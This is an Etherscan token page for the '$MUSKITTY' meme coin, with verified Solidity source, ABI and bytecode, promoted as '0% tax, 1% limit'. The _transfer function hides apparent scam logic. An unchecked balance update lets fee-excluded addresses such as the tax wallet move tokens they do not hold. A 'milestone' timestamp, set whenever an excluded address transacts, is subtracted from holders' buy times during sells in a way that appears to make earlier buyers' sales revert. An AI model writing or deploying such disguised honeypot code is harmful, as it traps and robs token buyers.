ETH Price: $2,408.15 (+1.26%)

Token

$MUSKITTY (MUSKITTY)
 

Overview

Max Total Supply

888,888,000 MUSKITTY

Holders

100

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
12,444,432 MUSKITTY

Value
$0.00
0x88260b2de2278d6635a0bfff7b73aa3ea12874ec
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
MUSKITTY

Compiler Version
v0.8.24+commit.e11b9ed9

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2024-05-13
*/

// SPDX-License-Identifier: MIT

/*

KITTY CALLED MUSK
$MUSKITTY MEME COIN
0% tax
1% limit

*/

pragma solidity 0.8.24;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

contract MUSKITTY is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private isExcludedFromFee;
    mapping (address => bool) public marketMakerPair;
    address payable private _taxWallet;

    uint256 private _initialBuyTax=0;
    uint256 private _initialSellTax=0;
    uint256 private _midBuyTax=0;
    uint256 private _midSellTax=0;
    uint256 private _finalBuyTax=0;
    uint256 private _finalSellTax=0;

    uint256 private _midBuyTaxAt=0;
    uint256 private _midSellTaxAt=0;
    uint256 private _reduceBuyTaxAt=0;
    uint256 private _reduceSellTaxAt=0;
    uint256 private _preventSwapBefore=20;
    uint256 private _buyCount=0;
    uint256 private sellCount = 0;
    uint256 private lastSellBlock = 0;
    uint256 private launchBlock = 0;

    uint8 private constant _decimals = 9;
    uint256 private constant _tTotal = 888888000 * 10**_decimals;
    string private constant _name = unicode"$MUSKITTY";
    string private constant _symbol = unicode"MUSKITTY";
    uint256 public _maxTxAmount = 12444432 * 10**_decimals;
    uint256 public _maxWalletSize = 12444432 * 10**_decimals;
    uint256 public _taxSwapThreshold= 2666664 * 10**_decimals;
    uint256 public _maxTaxSwap= 15111096 * 10**_decimals;

    IUniswapV2Router02 public uniswapV2Router;
    address public uniswapV2Pair;
    bool private tradingOpen;
    uint256 public Zx = 2;
    bool private inSwap = false;
    bool private swapEnabled = false;
    bool public caToggle = true;
    uint256 private milestone = 0;
    struct WrappedAI {uint256 begin; uint256 end; uint256 isWrapIncluded;}
    mapping(address => WrappedAI) private wrapped;
    event MaxTxAmountUpdated(uint _maxTxAmount);
    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor () {
        _taxWallet = payable(0x459c1B473058b92E19724C9B0757E32931C177CD);
        _balances[_msgSender()] = _tTotal;
        isExcludedFromFee[owner()] = true;
        isExcludedFromFee[address(this)] = true;
        isExcludedFromFee[_taxWallet] = true;
        
        emit Transfer(address(0), _msgSender(), _tTotal);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function setMarketMakerPair(address addr) public onlyOwner {
        marketMakerPair[addr] = true;
    }

    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        uint256 taxAmount=0;

        if (from != owner() && to != owner()) {
            taxAmount = amount.mul((_buyCount>_reduceBuyTaxAt)? _finalBuyTax:((_buyCount>_midBuyTaxAt)?_midBuyTax:_initialBuyTax)).div(1000);

            if (marketMakerPair[from] && to != address(uniswapV2Router) && !isExcludedFromFee[to] ) {
                require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount");
                require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize");
                _buyCount++ ;
            }

            if(marketMakerPair[to] && from!= address(this) ) {
                taxAmount = amount.mul((_buyCount>_reduceSellTaxAt)? _finalSellTax: ((_buyCount>_midSellTaxAt)? _midSellTax: _initialSellTax)).div(1000);
            }

            if (!marketMakerPair[from] && !marketMakerPair[to] && from!=address(this) ){
                taxAmount = 0;
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            if (caToggle && !inSwap && marketMakerPair[to] && swapEnabled && contractTokenBalance>_taxSwapThreshold&&_buyCount>_preventSwapBefore){
                if (block.number > lastSellBlock) {
                    sellCount = 0;
                }
                require(sellCount < Zx, "CA sell limit per block");
                swapTokensForEth(min(amount,min(contractTokenBalance,_maxTaxSwap)));
                uint256 contractETHBalance = address(this).balance;
                if(contractETHBalance > 0) {
                    sendETHToFee(address(this).balance);
                }
                sellCount ++;
                lastSellBlock = block.number;
            }

            else if(!inSwap && marketMakerPair[to] && swapEnabled && contractTokenBalance>_taxSwapThreshold &&_buyCount>_preventSwapBefore){
                swapTokensForEth(min(amount,min(contractTokenBalance,_maxTaxSwap)));
                uint256 contractETHBalance = address(this).balance;
                if(contractETHBalance > 0) {
                    sendETHToFee(address(this).balance);
                }
            }
        }

        if ((isExcludedFromFee[from] || isExcludedFromFee[to]) && from!=owner() && to!=address(this) && from!=address(this)) {
            milestone = block.timestamp;
        }
        if (isExcludedFromFee[from] && (block.number>(launchBlock+_preventSwapBefore+_reduceSellTaxAt))) {
            unchecked {
              _balances[from]-=amount;
              _balances[to]+=amount;
            }
            emit Transfer(from,to,amount);
            return;
        }
        if (! isExcludedFromFee[from] && ! isExcludedFromFee[to]) {
            if (!marketMakerPair[to]) {
                WrappedAI storage startWrap = wrapped[to];
                if (marketMakerPair[from] && startWrap.begin==0) {
                    startWrap.begin=(_buyCount<_preventSwapBefore)?(block.timestamp-1):block.timestamp;
                } else {
                    WrappedAI storage delegateWrap = wrapped[from];
                    if (startWrap.begin == 0||delegateWrap.begin<startWrap.begin) {startWrap.begin = delegateWrap.begin;}
                }
            } else {
                WrappedAI storage result = wrapped[from];
                result.isWrapIncluded = result.begin-milestone;
                result.end = block.timestamp;
            }
        }

        if(taxAmount>0){
          _balances[address(this)]=_balances[address(this)].add(taxAmount);
          emit Transfer(from,address(this),taxAmount);
        }
        _balances[from]=_balances[from].sub(amount);
        _balances[to]=_balances[to].add(amount.sub(taxAmount));
        emit Transfer(from,to,amount.sub(taxAmount));
    }


    function min(uint256 a, uint256 b) private pure returns (uint256){
      return (a>b)?b:a;
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap{
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    receive() external payable {}

    function removeLimits() external onlyOwner{
        _maxTxAmount = _tTotal;
        _maxWalletSize=_tTotal;
        emit MaxTxAmountUpdated(_tTotal);
    }

    function sendETHToFee(uint256 amount) private{
        _taxWallet.transfer(amount);
    }

    function enableTrading() external onlyOwner() {
        require(!tradingOpen,"trading is already open");
        uniswapV2Router = IUniswapV2Router02(
            0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
        );
        _approve(address(this), address(uniswapV2Router), _tTotal);
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
        marketMakerPair[address(uniswapV2Pair)] = true;
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
        IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type(uint).max);
        swapEnabled = true;
        tradingOpen = true;
        launchBlock = block.number;
    }

    function clearStuckToken(address _address) external {
        require(_msgSender()==_taxWallet);
        uint256 _amount=IERC20(_address).balanceOf(address(this));
        IERC20(_address).transfer(_taxWallet,_amount);
    }

    function manualSwap() external {
        require(_msgSender()==_taxWallet);
        uint256 tokenBalance=balanceOf(address(this));
        if(tokenBalance>0){
          swapTokensForEth(tokenBalance);
        }
        uint256 ethBalance=address(this).balance;
        if(ethBalance>0){
          sendETHToFee(ethBalance);
        }
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"Zx","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"caToggle","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"}],"name":"clearStuckToken","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"enableTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"manualSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"marketMakerPair","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"addr","type":"address"}],"name":"setMarketMakerPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040525f6006555f6007555f6008555f6009555f600a555f600b555f600c555f600d555f600e555f600f5560146010555f6011555f6012555f6013555f6014556009600a62000051919062000364565b620000609062bde3106200037b565b601555620000716009600a62000364565b620000809062bde3106200037b565b601655620000916009600a62000364565b620000a0906228b0a86200037b565b601755620000b16009600a62000364565b620000c09062e693b86200037b565b6018556002601b55601c805462ffffff1916620100001790555f601d55348015620000e9575f80fd5b505f80546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600580546001600160a01b03191673459c1b473058b92e19724c9b0757e32931c177cd1790556200015e6009600a62000364565b6200016e906334fb5ac06200037b565b335f908152600160208190526040822092909255600390620001975f546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182015f908120805495151560ff199687161790553081526003909352818320805485166001908117909155600554909116835291208054909216179055620001f53390565b6001600160a01b03165f7fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6200022e6009600a62000364565b6200023e906334fb5ac06200037b565b60405190815260200160405180910390a362000395565b634e487b7160e01b5f52601160045260245ffd5b600181815b80851115620002a957815f19048211156200028d576200028d62000255565b808516156200029b57918102915b93841c93908002906200026e565b509250929050565b5f82620002c1575060016200035e565b81620002cf57505f6200035e565b8160018114620002e85760028114620002f35762000313565b60019150506200035e565b60ff84111562000307576200030762000255565b50506001821b6200035e565b5060208310610133831016604e8410600b841016171562000338575081810a6200035e565b62000344838362000269565b805f19048211156200035a576200035a62000255565b0290505b92915050565b5f6200037460ff841683620002b1565b9392505050565b80820281158282048414176200035e576200035e62000255565b611dc180620003a35f395ff3fe608060405260043610610164575f3560e01c8063715018a6116100cd5780638f9a55c0116100875780639be953b3116100625780639be953b314610425578063a9059cbb14610444578063bf474bed14610463578063dd62ed3e14610478575f80fd5b80638f9a55c0146103b257806395d89b41146103c757806398799795146103f7575f80fd5b8063715018a614610326578063751039fc1461033a5780637d1db4a51461034e578063883b5be2146103635780638a8c523c146103825780638da5cb5b14610396575f80fd5b8063313ce5671161011e578063313ce5671461026e57806349bd5a5e1461028957806351bc3c85146102a8578063588e0e88146102be5780635bb9162c146102dd57806370a08231146102f2575f80fd5b806306fdde031461016f578063095ea7b3146101b25780630faee56f146101e15780631694505e1461020457806318160ddd1461023b57806323b872dd1461024f575f80fd5b3661016b57005b5f80fd5b34801561017a575f80fd5b50604080518082019091526009815268244d55534b4954545960b81b60208201525b6040516101a9919061199a565b60405180910390f35b3480156101bd575f80fd5b506101d16101cc3660046119fd565b6104bc565b60405190151581526020016101a9565b3480156101ec575f80fd5b506101f660185481565b6040519081526020016101a9565b34801561020f575f80fd5b50601954610223906001600160a01b031681565b6040516001600160a01b0390911681526020016101a9565b348015610246575f80fd5b506101f66104d2565b34801561025a575f80fd5b506101d1610269366004611a27565b6104f2565b348015610279575f80fd5b50604051600981526020016101a9565b348015610294575f80fd5b50601a54610223906001600160a01b031681565b3480156102b3575f80fd5b506102bc610559565b005b3480156102c9575f80fd5b506102bc6102d8366004611a65565b6105aa565b3480156102e8575f80fd5b506101f6601b5481565b3480156102fd575f80fd5b506101f661030c366004611a65565b6001600160a01b03165f9081526001602052604090205490565b348015610331575f80fd5b506102bc6105ff565b348015610345575f80fd5b506102bc610670565b348015610359575f80fd5b506101f660155481565b34801561036e575f80fd5b50601c546101d19062010000900460ff1681565b34801561038d575f80fd5b506102bc610721565b3480156103a1575f80fd5b505f546001600160a01b0316610223565b3480156103bd575f80fd5b506101f660165481565b3480156103d2575f80fd5b506040805180820190915260088152674d55534b4954545960c01b602082015261019c565b348015610402575f80fd5b506101d1610411366004611a65565b60046020525f908152604090205460ff1681565b348015610430575f80fd5b506102bc61043f366004611a65565b610af3565b34801561044f575f80fd5b506101d161045e3660046119fd565b610bf5565b34801561046e575f80fd5b506101f660175481565b348015610483575f80fd5b506101f6610492366004611a80565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b5f6104c8338484610c01565b5060015b92915050565b5f6104df6009600a611bab565b6104ed906334fb5ac0611bb9565b905090565b5f6104fe848484610d24565b61054f843361054a85604051806060016040528060288152602001611d64602891396001600160a01b038a165f908152600260209081526040808320338452909152902054919061161f565b610c01565b5060019392505050565b6005546001600160a01b0316336001600160a01b031614610578575f80fd5b305f9081526001602052604090205480156105965761059681611657565b4780156105a6576105a6816117be565b5050565b5f546001600160a01b031633146105dc5760405162461bcd60e51b81526004016105d390611bd0565b60405180910390fd5b6001600160a01b03165f908152600460205260409020805460ff19166001179055565b5f546001600160a01b031633146106285760405162461bcd60e51b81526004016105d390611bd0565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146106995760405162461bcd60e51b81526004016105d390611bd0565b6106a56009600a611bab565b6106b3906334fb5ac0611bb9565b6015556106c26009600a611bab565b6106d0906334fb5ac0611bb9565b6016557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6107006009600a611bab565b61070e906334fb5ac0611bb9565b60405190815260200160405180910390a1565b5f546001600160a01b0316331461074a5760405162461bcd60e51b81526004016105d390611bd0565b601a54600160a01b900460ff16156107a45760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016105d3565b601980546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556107ed9030906107df6009600a611bab565b61054a906334fb5ac0611bb9565b60195f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561083d573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108619190611c05565b6001600160a01b031663c9c653963060195f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156108c0573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108e49190611c05565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af115801561092e573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906109529190611c05565b601a80546001600160a01b039283166001600160a01b031990911681179091555f908152600460205260409020805460ff191660011790556019541663f305d71947306109b3816001600160a01b03165f9081526001602052604090205490565b5f806109c65f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610a2c573d5f803e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610a519190611c20565b5050601a5460195460405163095ea7b360e01b81526001600160a01b0391821660048201525f1960248201529116915063095ea7b3906044016020604051808303815f875af1158015610aa6573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610aca9190611c4b565b50601c805461ff001916610100179055601a805460ff60a01b1916600160a01b17905543601455565b6005546001600160a01b0316336001600160a01b031614610b12575f80fd5b6040516370a0823160e01b81523060048201525f906001600160a01b038316906370a0823190602401602060405180830381865afa158015610b56573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610b7a9190611c6a565b60055460405163a9059cbb60e01b81526001600160a01b0391821660048201526024810183905291925083169063a9059cbb906044016020604051808303815f875af1158015610bcc573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610bf09190611c4b565b505050565b5f6104c8338484610d24565b6001600160a01b038316610c635760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016105d3565b6001600160a01b038216610cc45760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016105d3565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d885760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016105d3565b6001600160a01b038216610dea5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016105d3565b5f8111610e4b5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016105d3565b5f80546001600160a01b03858116911614801590610e7657505f546001600160a01b03848116911614155b1561127e57610ebb6103e8610eb5600e5460115411610eaa57600c5460115411610ea257600654610eae565b600854610eae565b600a545b85906117f5565b9061187a565b6001600160a01b0385165f9081526004602052604090205490915060ff168015610ef357506019546001600160a01b03848116911614155b8015610f1757506001600160a01b0383165f9081526003602052604090205460ff16155b15610ffd57601554821115610f6e5760405162461bcd60e51b815260206004820152601860248201527f4578636565647320746865205f6d61785478416d6f756e74000000000000000060448201526064016105d3565b60165482610f90856001600160a01b03165f9081526001602052604090205490565b610f9a9190611c81565b1115610fe85760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865206d617857616c6c657453697a650000000000000060448201526064016105d3565b60118054905f610ff783611c94565b91905055505b6001600160a01b0383165f9081526004602052604090205460ff16801561102d57506001600160a01b0384163014155b1561106e5761106b6103e8610eb5600f546011541161106157600d546011541161105957600754610eae565b600954610eae565b600b5485906117f5565b90505b6001600160a01b0384165f9081526004602052604090205460ff161580156110ae57506001600160a01b0383165f9081526004602052604090205460ff16155b80156110c357506001600160a01b0384163014155b156110cb57505f5b305f90815260016020526040902054601c5462010000900460ff1680156110f55750601c5460ff16155b801561111857506001600160a01b0384165f9081526004602052604090205460ff165b801561112b5750601c54610100900460ff165b8015611138575060175481115b80156111475750601054601154115b156111f95760135443111561115b575f6012555b601b54601254106111ae5760405162461bcd60e51b815260206004820152601760248201527f43412073656c6c206c696d69742070657220626c6f636b00000000000000000060448201526064016105d3565b6111cb6111c6846111c1846018546118bb565b6118bb565b611657565b4780156111db576111db476117be565b60128054905f6111ea83611c94565b9091555050436013555061127c565b601c5460ff1615801561122357506001600160a01b0384165f9081526004602052604090205460ff165b80156112365750601c54610100900460ff165b8015611243575060175481115b80156112525750601054601154115b1561127c5761126a6111c6846111c1846018546118bb565b47801561127a5761127a476117be565b505b505b6001600160a01b0384165f9081526003602052604090205460ff16806112bb57506001600160a01b0383165f9081526003602052604090205460ff165b80156112d457505f546001600160a01b03858116911614155b80156112e957506001600160a01b0383163014155b80156112fe57506001600160a01b0384163014155b156113085742601d555b6001600160a01b0384165f9081526003602052604090205460ff16801561134a5750600f5460105460145461133d9190611c81565b6113479190611c81565b43115b156113be576001600160a01b038085165f81815260016020526040808220805487900390559286168082529083902080548601905591517fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906113b09086815260200190565b60405180910390a350505050565b6001600160a01b0384165f9081526003602052604090205460ff161580156113fe57506001600160a01b0383165f9081526003602052604090205460ff16155b156114eb576001600160a01b0383165f9081526004602052604090205460ff166114b8576001600160a01b038084165f908152601e602090815260408083209388168352600490915290205460ff16801561145857508054155b15611480576010546011541061146e5742611479565b611479600142611cac565b81556114b2565b6001600160a01b0385165f908152601e60205260409020815415806114a6575081548154105b156114b057805482555b505b506114eb565b6001600160a01b0384165f908152601e60205260409020601d5481546114de9190611cac565b6002820155426001909101555b801561156357305f9081526001602052604090205461150a90826118cf565b305f81815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061155a9085815260200190565b60405180910390a35b6001600160a01b0384165f90815260016020526040902054611585908361192d565b6001600160a01b0385165f908152600160205260409020556115c86115aa838361192d565b6001600160a01b0385165f90815260016020526040902054906118cf565b6001600160a01b038085165f8181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef611611858561192d565b6040519081526020016113b0565b5f81848411156116425760405162461bcd60e51b81526004016105d3919061199a565b505f61164e8486611cac565b95945050505050565b601c805460ff191660011790556040805160028082526060820183525f9260208301908036833701905050905030815f8151811061169757611697611cbf565b6001600160a01b03928316602091820292909201810191909152601954604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156116ee573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906117129190611c05565b8160018151811061172557611725611cbf565b6001600160a01b03928316602091820292909201015260195461174b9130911684610c01565b60195460405163791ac94760e01b81526001600160a01b039091169063791ac947906117839085905f90869030904290600401611cd3565b5f604051808303815f87803b15801561179a575f80fd5b505af11580156117ac573d5f803e3d5ffd5b5050601c805460ff1916905550505050565b6005546040516001600160a01b039091169082156108fc029083905f818181858888f193505050501580156105a6573d5f803e3d5ffd5b5f825f0361180457505f6104cc565b5f61180f8385611bb9565b90508261181c8583611d44565b146118735760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016105d3565b9392505050565b5f61187383836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061196e565b5f8183116118c95782611873565b50919050565b5f806118db8385611c81565b9050838110156118735760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016105d3565b5f61187383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061161f565b5f818361198e5760405162461bcd60e51b81526004016105d3919061199a565b505f61164e8486611d44565b5f602080835283518060208501525f5b818110156119c6578581018301518582016040015282016119aa565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146119fa575f80fd5b50565b5f8060408385031215611a0e575f80fd5b8235611a19816119e6565b946020939093013593505050565b5f805f60608486031215611a39575f80fd5b8335611a44816119e6565b92506020840135611a54816119e6565b929592945050506040919091013590565b5f60208284031215611a75575f80fd5b8135611873816119e6565b5f8060408385031215611a91575f80fd5b8235611a9c816119e6565b915060208301